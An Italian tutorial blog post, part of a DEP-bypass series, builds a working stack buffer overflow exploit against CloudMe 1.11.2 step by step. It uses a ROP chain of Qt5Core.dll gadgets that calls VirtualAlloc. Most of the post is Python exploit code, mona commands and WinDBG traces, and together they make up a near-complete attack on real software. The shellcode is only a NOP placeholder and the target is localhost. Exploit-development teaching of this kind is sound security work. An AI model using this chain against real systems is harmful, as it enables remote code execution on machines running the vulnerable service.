Terzo articolo della serie DEP Bypass, target: Cloud Me 1.11.2.
Altri post in questa serie:
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
CloudMe è un servizio di Cloud che permette di salvare e scaricare file. Una volta eseguito si mette in ascolto sulla porta 8888 e la versione 1.11.2 contiene una vulnerabilità di tipo Stack Buffer Overflow.
Il template del crash lo prendiamo da ExploitDB in modo da velocizzare la ricerca della vulnerabilità.
from struct import pack
import socket
#\x00\x0A\x0D
TARGET_IP = "127.0.0.1"
TARGET_PORT = 8888
target = (TARGET_IP, TARGET_PORT) # vulnserver
crash = 2000 # change me
offset = 1052
payload = b"A"*offset
payload += b"B"*4
payload += b"C"*(crash - len(payload))
with socket.create_connection(target) as sock:
sent = sock.send(payload)
print(f"sent {sent} bytes")
Ora che sappiamo il punto di crash, iniziamo a cercare i moduli su cui possiamo contare e i gadget ROP associati.
0:000> !py mona modules -cm aslr=false,os=false,rebase=false
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py modules -cm aslr=false,os=false,rebase=false
-----------------------------------------------------------------------------------------------------------------------------------------
Module info :
-----------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------
0x68a80000 | 0x69055000 | 0x005d5000 | False | False | False | False | False | 5.9.0.0 [Qt5Core.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll)
0x6fe40000 | 0x6ffbe000 | 0x0017e000 | False | False | False | False | False | -1.0- [libstdc++-6.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\libstdc++-6.dll)
0x00400000 | 0x00831000 | 0x00431000 | False | False | False | False | False | -1.0- [CloudMe.exe] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\CloudMe.exe)
0x6d9c0000 | 0x6da0c000 | 0x0004c000 | False | False | False | False | False | 5.9.0.0 [Qt5Sql.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\Qt5Sql.dll)
0x69900000 | 0x69ac1000 | 0x001c1000 | False | False | False | False | False | 5.9.0.0 [Qt5Network.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\Qt5Network.dll)
0x6eb40000 | 0x6eb64000 | 0x00024000 | False | False | False | False | False | -1.0- [libgcc_s_dw2-1.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\libgcc_s_dw2-1.dll)
0x64b40000 | 0x64b5b000 | 0x0001b000 | False | False | False | False | False | 1.0.0.0 [libwinpthread-1.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\libwinpthread-1.dll)
0x61b40000 | 0x62136000 | 0x005f6000 | False | False | False | False | False | 5.9.0.0 [Qt5Gui.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\Qt5Gui.dll)
0x66e00000 | 0x66e3d000 | 0x0003d000 | False | False | False | False | False | 5.9.0.0 [Qt5Xml.dll] (C:\Users\User\AppData\Local\Programs\CloudMe\CloudMe\Qt5Xml.dll)
-----------------------------------------------------------------------------------------------------------------------------------------
Direi che ne abbiamo in abbondanza, non avremo problemi nel trovare i gadget.
!py mona rop -m Qt5Core -cpb '\x00\x0A\x0D'
Poichè vogliamo exploitarlo utilizzando VirtualAlloc, vediamo se negli import di IDA c’è la funzione scelta
La funzione Virtual Alloc è definita in questo modo:
LPVOID WINAPI VirtualAlloc( => A pointer to VirtualAlloc()
_In_opt_ LPVOID lpAddress, => Return Address (Redirect Execution to ESP)
_In_ SIZE_T dwSize, => dwSize (0x1)
_In_ DWORD flAllocationType, => flAllocationType (0x1000 - MEM_COMMIT)
_In_ DWORD flProtect => flProtect (0x40 - EXECUTE_READWRITE)
);
Quindi il template che utilizzeremo sarà:
rop += struct.pack("<L", 0x66666666) # dummy VirutalAlloc Address (pointer to VirtualProtect)
rop += struct.pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
rop += struct.pack("<L", 0x44444444) # # dummy Shellcode Address (pointer to shellcode address)
rop += struct.pack("<L", 0x33333333) # dummy dwSize - 0x1
rop += struct.pack("<L", 0x22222222) # # dummy flAllocationType - 0x1000
rop += struct.pack("<L", 0x11111111) # dummy flProtect - 0x40
Dove:
Modifico lo script inserendo le informazioni trovate (puntatore a VA e un RET come NOP come primo gadget della ROP chain) e con una struttura definita:
from struct import pack
import socket
#\x00\x0A\x0D
TARGET_IP = "127.0.0.1"
TARGET_PORT = 8888
target = (TARGET_IP, TARGET_PORT) # vulnserver
crash = 2000 # change me
offset = 1052
shellcode = b"\x90" * 500
rop_nop = pack("<I",0x68ee5174) # RETN
rop = pack("<I",0x68ee5174) # temporary
rop += pack("<L", 0x690398A0) # dummy VirutalAlloc Address (pointer to VirtualProtect)
rop += pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
rop += pack("<L", 0x44444444) # # dummy Shellcode Address (pointer to shellcode address)
rop += pack("<L", 0x33333333) # dummy dwSize - 0x1
rop += pack("<L", 0x22222222) # # dummy flAllocationType - 0x1000
rop += pack("<L", 0x11111111) # dummy flProtect - 0x40
rop += b"B" * (700-len(rop))
payload = b"A"*offset
payload += rop_nop
payload += rop
payload += shellcode
payload += b"C"*(crash - len(payload))
with socket.create_connection(target) as sock:
sent = sock.send(payload)
print(f"sent {sent} bytes")
Come vedete ho già inserito alcune lunghezze “fixed”, come la lunghezza del rop e dello shellcode in modo da sapere già dove sarà la posizione dello shellcode senza dover cambiare alcuni gadget successivamente. Nel caso in cui la rop chain sarà più lunga di 700 eventualmente modificheremo quei valori.
Il prossimo step è quello di salvare ESP in modo da sapere dove inizia più o meno la nostra chain.
0x68c7f391 : # PUSH ESP # POP EBX # POP ESI # RETN ** [Qt5Core.dll] **
Successivamente copiamo EBX in EAX e salviamo EAX in EDI.
0x68bbd10f : # MOV EAX,EBX # POP EBX # RETN 0x04 ** [Qt5Core.dll] **
0x68f37dbb : # MOV EDI,EAX # RETN ** [Qt5Core.dll] **
In questo modo abbiamo il valore di ESP salvato sia in EAX che in EDI, nel caso ci serva nelle successive operazioni. Aggiorniamo lo script inserendo questi gadget con i relativi padding per i POP in eccesso e il RETN 0x04
Rilanciamo WinDBG con un breakpoint sul ROP NOP e step by step procediamo vedendo se è tutto ok.
0:016> bp 0x68ee5174
0:016> g
Breakpoint 0 hit
eax=00000001 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68ee5174 esp=00a3d3d0 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!qt_sine_table+0x72d74:
68ee5174 c3 ret
0:000> p
eax=00000001 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68c7f391 esp=00a3d3d4 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!ZN11QTranslator4loadERK7QLocaleRK7QStringS5_S5_S5_+0x1b61:
68c7f391 54 push esp
0:000> p
eax=00000001 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68c7f392 esp=00a3d3d0 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!ZN11QTranslator4loadERK7QLocaleRK7QStringS5_S5_S5_+0x1b62:
68c7f392 5b pop ebx
0:000> p
eax=00000001 ebx=00a3d3d4 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68c7f393 esp=00a3d3d4 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!ZN11QTranslator4loadERK7QLocaleRK7QStringS5_S5_S5_+0x1b63:
68c7f393 5e pop esi
0:000> p
eax=00000001 ebx=00a3d3d4 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68c7f394 esp=00a3d3d8 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!ZN11QTranslator4loadERK7QLocaleRK7QStringS5_S5_S5_+0x1b64:
68c7f394 c3 ret
0:000> p
eax=00000001 ebx=00a3d3d4 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68bbd10f esp=00a3d3dc ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!ZN9QUrlQuery15removeQueryItemERK7QString+0x233f:
68bbd10f 89d8 mov eax,ebx
0:000> p
eax=00a3d3d4 ebx=00a3d3d4 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68bbd111 esp=00a3d3dc ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!ZN9QUrlQuery15removeQueryItemERK7QString+0x2341:
68bbd111 5b pop ebx
0:000> p
eax=00a3d3d4 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68bbd112 esp=00a3d3e0 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!ZN9QUrlQuery15removeQueryItemERK7QString+0x2342:
68bbd112 c20400 ret 4
0:000> p
Breakpoint 0 hit
eax=00a3d3d4 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68ee5174 esp=00a3d3e8 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!qt_sine_table+0x72d74:
68ee5174 c3 ret
0:000> p
eax=00a3d3d4 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=41414141
eip=68f37dbb esp=00a3d3ec ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!ZN8qfloat1613mantissatableE+0x4c49b:
68f37dbb 8bf8 mov edi,eax
0:000> p
eax=00a3d3d4 ebx=41414141 ecx=85fa5c2d edx=001b0000 esi=41414141 edi=00a3d3d4
eip=68f37dbd esp=00a3d3ec ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!ZN8qfloat1613mantissatableE+0x4c49d:
68f37dbd c3 ret
0:000> dd eax
00a3d3d4 41414141 68bbd10f 41414141 68ee5174
00a3d3e4 68ee5174 68f37dbb 690398A0 55555555
00a3d3f4 44444444 33333333 22222222 11111111
00a3d404 42424242 42424242 42424242 42424242
00a3d414 42424242 42424242 42424242 42424242
00a3d424 42424242 42424242 42424242 42424242
00a3d434 42424242 42424242 42424242 42424242
00a3d444 42424242 42424242 42424242 42424242
Ottimo, ora abbiamo il valore di ESP in EAX ed EDI.
Poichè abbiamo di mezzo il template di VirtualAlloc, dobbiamo saltarlo per procedere con la nostra ROP. Inseriamo il gadget adatto:
0x68b402ce: # ADD ESP,1C # RETN ** [Qt5Core.dll] **
e aggiorniamo lo script
....
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
rop += pack("<I",0x68f37dbb) # MOV EDI,EAX # RETN ** [Qt5Core.dll] **
#step 2 - jumping over template
rop += pack("<I",0x68b402ce) # ADD ESP,1C # RETN ** [Qt5Core.dll] **
#template
rop += pack("<L", 0x690398A0) # dummy VirutalAlloc Address (pointer to VirtualProtect)
rop += pack("<L", 0x55555555) # Shellcode Return Address (pointer to shellcode address)
rop += pack("<L", 0x44444444) # # dummy Shellcode Address (pointer to shellcode address)
rop += pack("<L", 0x33333333) # dummy dwSize - 0x1
rop += pack("<L", 0x22222222) # # dummy flAllocationType - 0x1000
rop += pack("<L", 0x11111111) # dummy flProtect - 0x40
rop += b"\x90"*4 # padding
rop += rop_nop
rop += b"B" * (700-len(rop))
.....
Ed esegiamo di nuovo con un breakpoint su ADD ESP,1C
0:016> bp 0x68b402ce
0:016> g
Breakpoint 0 hit
eax=00a3d3d4 ebx=41414141 ecx=0c77c7c4 edx=02630000 esi=41414141 edi=00a3d3d4
eip=68b402ce esp=00a3d3f0 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Qt5Core!ZN18QCommandLineParser24clearPositionalArgumentsEv+0x2e:
68b402ce 83c41c add esp,1Ch
0:000> dd esp+1c L4
00a3d40c 68ee5174 42424242 42424242 42424242
0:000> p
eax=00a3d3d4 ebx=41414141 ecx=0c77c7c4 edx=02630000 esi=41414141 edi=00a3d3d4
eip=68b402d1 esp=00a3d40c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
Qt5Core!ZN18QCommandLineParser24clearPositionalArgumentsEv+0x31:
68b402d1 c3 ret
0:000> p
eax=00a3d3d4 ebx=41414141 ecx=0c77c7c4 edx=02630000 esi=41414141 edi=00a3d3d4
eip=68ee5174 esp=00a3d410 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
Qt5Core!qt_sine_table+0x72d74:
68ee5174 c3 ret
0:000> dd esp L10
00a3d410 42424242 42424242 42424242 42424242
00a3d420 42424242 42424242 42424242 42424242
00a3d430 42424242 42424242 42424242 42424242
00a3d440 42424242 42424242 42424242 4242424
Ora non ci rimane che partire con la sostituzione dei placeholder.
Vediamo che EAX è a 28 byte dal puntatore a VA, quindi dobbiamo incrementarlo
0:000> dd eax+4+4+4+4+4+4+4
00a3d3f0 690398A0 55555555 44444444 33333333
00a3d400 22222222 11111111 90909090 68ee5174
00a3d410 42424242 42424242 42424242 42424242
00a3d420 42424242 42424242 42424242 42424242
00a3d430 42424242 42424242 42424242 42424242
00a3d440 42424242 42424242 42424242 42424242
00a3d450 42424242 42424242 42424242 42424242
00a3d460 42424242 42424242 42424242 42424242
Visto che sono solo 28 utilizzo INC EAX:
0x68f26a35 : # INC EAX # RETN
Una volta che punta a VA, salvo il suo valore in ECX:
0x68be726b # xchg eax, ecx; ret; ** [Qt5Core.dll] **
0x6ab445f9 # mov eax, ecx; ret; ** [Qt5Core.dll] **
Estraggo il puntatore di VA e lo metto in EAX:
0x6aa8d803 # mov eax, dword ptr [eax]; ret; ** [Qt5Core.dll] **
0x6aa8d803 # mov eax, dword ptr [eax]; ret; ** [Qt5Core.dll] **
Ed infine porto il valore appena estratto in ECX, che punta all’inizio del nostro template
0x68c7ffe6 # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
Aggiorno lo script, metto breakpoint e lancio
....
rop += pack("<L", 0x11111111) # dummy flProtect - 0x40
rop += b"\x90"*4 # padding
# step 3 - patching address virtualprotect
rop += pack('<L', 0x68f26a35) # INC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68f26a35) # INC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68f26a35) # INC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68f26a35) # INC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68f26a35) # INC EAX # RETN ** [Qt5Core.dll] **
.....
rop += pack('<L', 0x68be726b) # xchg eax, ecx; ret; ** [Qt5Core.dll] **
rop += pack('<L', 0x6ab445f9) # mov eax, ecx; ret; ** [Qt5Core.dll] **
rop += pack('<L', 0x6aa8d803) # mov eax, dword ptr [eax]; ret; ** [Qt5Core.dll] **
rop += pack('<L', 0x6aa8d803) # mov eax, dword ptr [eax]; ret; ** [Qt5Core.dll] **
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
rop += b"B" * (700-len(rop))
....
E VirtualAlloc ce l’abbiamo. Passiamo al prossimo
Ora ECX punta all’inizio del nostro template, quindi utilizzeremo quello come variabile d’incremento. Dobbiamo però calcolare la differenza tra la nostra ROP e l’inizio dello shellcode. Cercandolo su ESP vediamo che sta a 624 byte (non importa essere precisissimi, le B poi le sostituiremo con \x90 che fungeranno da sled).
0:000> dd ecx+0n624
00a3d660 42424242 42424242 42424242 42424242
00a3d670 42424242 42424242 42424242 42424242
00a3d680 42424242 42424242 42424242 90909090
00a3d690 90909090 90909090 90909090 90909090
00a3d6a0 90909090 90909090 90909090 90909090
00a3d6b0 90909090 90909090 90909090 90909090
00a3d6c0 90909090 90909090 90909090 90909090
00a3d6d0 90909090 90909090 90909090 90909090
Quindi, incrementiamo ECX di 4
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
Lo spostiamo in EAX, usiamo EDX come variabile d’appoggio per fare la somma tra EAX ed EDX ed infine sommiamo. Ho negato 624 perchè conterebbe bad char altrimenti (0x0).
0x6ab445f9 # mov eax, ecx; ret; ** [Qt5Core.dll] **
0x68a8174b # XOR EDX,EDX # RETN ** [Qt5Core.dll] **
0x68ae2632 # POP EDX # RETN ** [Qt5Core.dll] **
0xfffffd90 # -624
0x68bd5fe4 # NEG EDX # RETN 0x0C ** [Qt5Core.dll] **
0x68ad91ab # add eax, edx; ret; ** [Qt5Core.dll] **
Come ultimo, usiamo la stessa istruzione di prima per inserire il valore di EAX (il puntatore al nostro shellcode) all’interno di ECX, che punta a 0x55555555
0x68c7ffe6 # mov dword ptr [ecx], eax; ret 4;
Aggiorno lo script, metto breakpoint e rilancio:
.....
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
# patching return address
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x6ab445f9) # mov eax, ecx; ret; ** [Qt5Core.dll] **
rop += pack('<L', 0x68a8174b) # XOR EDX,EDX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68ae2632) # POP EDX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0xfffffd90) # -624
rop += pack('<L', 0x68bd5fe4) # NEG EDX # RETN 0x0C ** [Qt5Core.dll] **
rop += rop_nop
rop += rop_nop
rop += rop_nop
rop += rop_nop
rop += pack('<L', 0x68ad91ab) # add eax, edx; ret; ** [Qt5Core.dll] **
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
rop += b"B" * (700-len(rop))
.....
Questo patching è abbastanza immediato. Abbiamo l’indirizzo dello shellcode su EAX ed ECX è a 4 bytes dal puntatore. Ci basta incrementarlo di 4 e fare la sostituzione di 0x44444444
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
0x68c7ffe6 # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
Aggiorno e rilancio:
.....
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
#patching lpaddress
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
rop += b"B" * (700-len(rop))
.....
Il parametro dWsize deve valere 0x1, quindi ci serve un registro in cui inserirlo. Dovremo negarlo perchè 0x1 contiene badchar (0x0) e non può essere inserito cosi come è.
Incrementiamo ECX di 4
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
0x68fe0383 # INC ECX # RETN ** [Qt5Core.dll] **
Usiamo EAX come registro d’appoggio per 0xffffffff (-1) e poi lo neghiamo
0x68c6092e # XOR EAX,EAX # RETN ** [Qt5Core.dll] **
0x68f21874 # POP EAX # RETN ** [Qt5Core.dll] **
0xffffffff
0x68cef5b2 # NEG EAX # RETN ** [Qt5Core.dll] **
Ed infine facciamo il patching
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
Aggiorno e rilancio:
....
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
#patching dWsize
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68c6092e) # XOR EAX,EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68f21874) # POP EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0xffffffff)
rop += pack('<L', 0x68cef5b2) # NEG EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
rop += b"B" * (700-len(rop))
....
Il parametro flAllocationType invece dev’essere 0x1000. L’operazione è pressochè identica, cambia solo il valore di EAX che sarà -1001 (non -1000 perchè contiene bad char)
.....
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
#patching flAllocationType - 0x1000
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68c6092e) # XOR EAX,EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68f21874) # POP EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0xffffefff) # -1001
rop += pack('<L', 0x68cef5b2) # NEG EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68ab39b8) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
rop += b"B" * (700-len(rop))
.....
Uguale per flProtect
....
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
#patching flProtect - 0x40
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68fe0383) # INC ECX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68c6092e) # XOR EAX,EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68f21874) # POP EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0xffffffc0) # -40
rop += pack('<L', 0x68cef5b2) # NEG EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
rop += b"B" * (700-len(rop))
....
Ora non ci rimane che tornare alla chiamata a Virtual Alloc, rimettere ESP su quell’indirizzo e modificare il flusso d’esecuzione. Poichè ECX è il registro con il valore più vicino, lo spostiamo in EAX che decrementiamo fino a raggiungere VA. Infine switchiamo EAX con ESP:
......
rop += pack('<L', 0x68c7ffe6) # mov dword ptr [ecx], eax; ret 4; ** [Qt5Core.dll] **
rop += rop_nop # padding for retn 0x04
rop += rop_nop # padding for retn 0x04
#jumping to esp
rop += pack('<L', 0x68be726b) # xchg eax, ecx; ret; ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68f9433e) # DEC EAX # RETN ** [Qt5Core.dll] **
rop += pack('<L',0x68aef5d0) # XCHG EAX,ESP # RETN ** [Qt5Core.dll] **
rop += b"B" * (700-len(rop))
....
Vediamo in WinDBG
0:016> bp 0x68aef5d0
0:016> g
Breakpoint 0 hit
eax=00a3d3f0 ebx=41414141 ecx=00000040 edx=00000270 esi=41414141 edi=00a3d3d4
eip=68aef5d0 esp=00a3d5d8 ebp=41414141 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200207
Qt5Core!ZNK14QLocalePrivate9bcp47NameEc+0x290:
68aef5d0 94 xchg eax,esp
0:000> p
eax=00a3d5d8 ebx=41414141 ecx=00000040 edx=00000270 esi=41414141 edi=00a3d3d4
eip=68aef5d1 esp=00a3d3f0 ebp=41414141 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200207
Qt5Core!ZNK14QLocalePrivate9bcp47NameEc+0x291:
68aef5d1 c3 ret
0:000> dds esp L6
00a3d3f0 75e74da0 KERNEL32!VirtualAllocStub
00a3d3f4 00a3d664
00a3d3f8 00a3d664
00a3d3fc 00000001
00a3d400 00001000
00a3d404 00000040
Ottimo, abbiamo sostituito con successo tutti i parametri. Facciamo step over e vediamo se funziona tutto
0:000> p
eax=00a3d5d8 ebx=41414141 ecx=00000040 edx=00000270 esi=41414141 edi=00a3d3d4
eip=75e74da0 esp=00a3d3f4 ebp=41414141 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200207
KERNEL32!VirtualAllocStub:
75e74da0 8bff mov edi,edi
0:000> pt
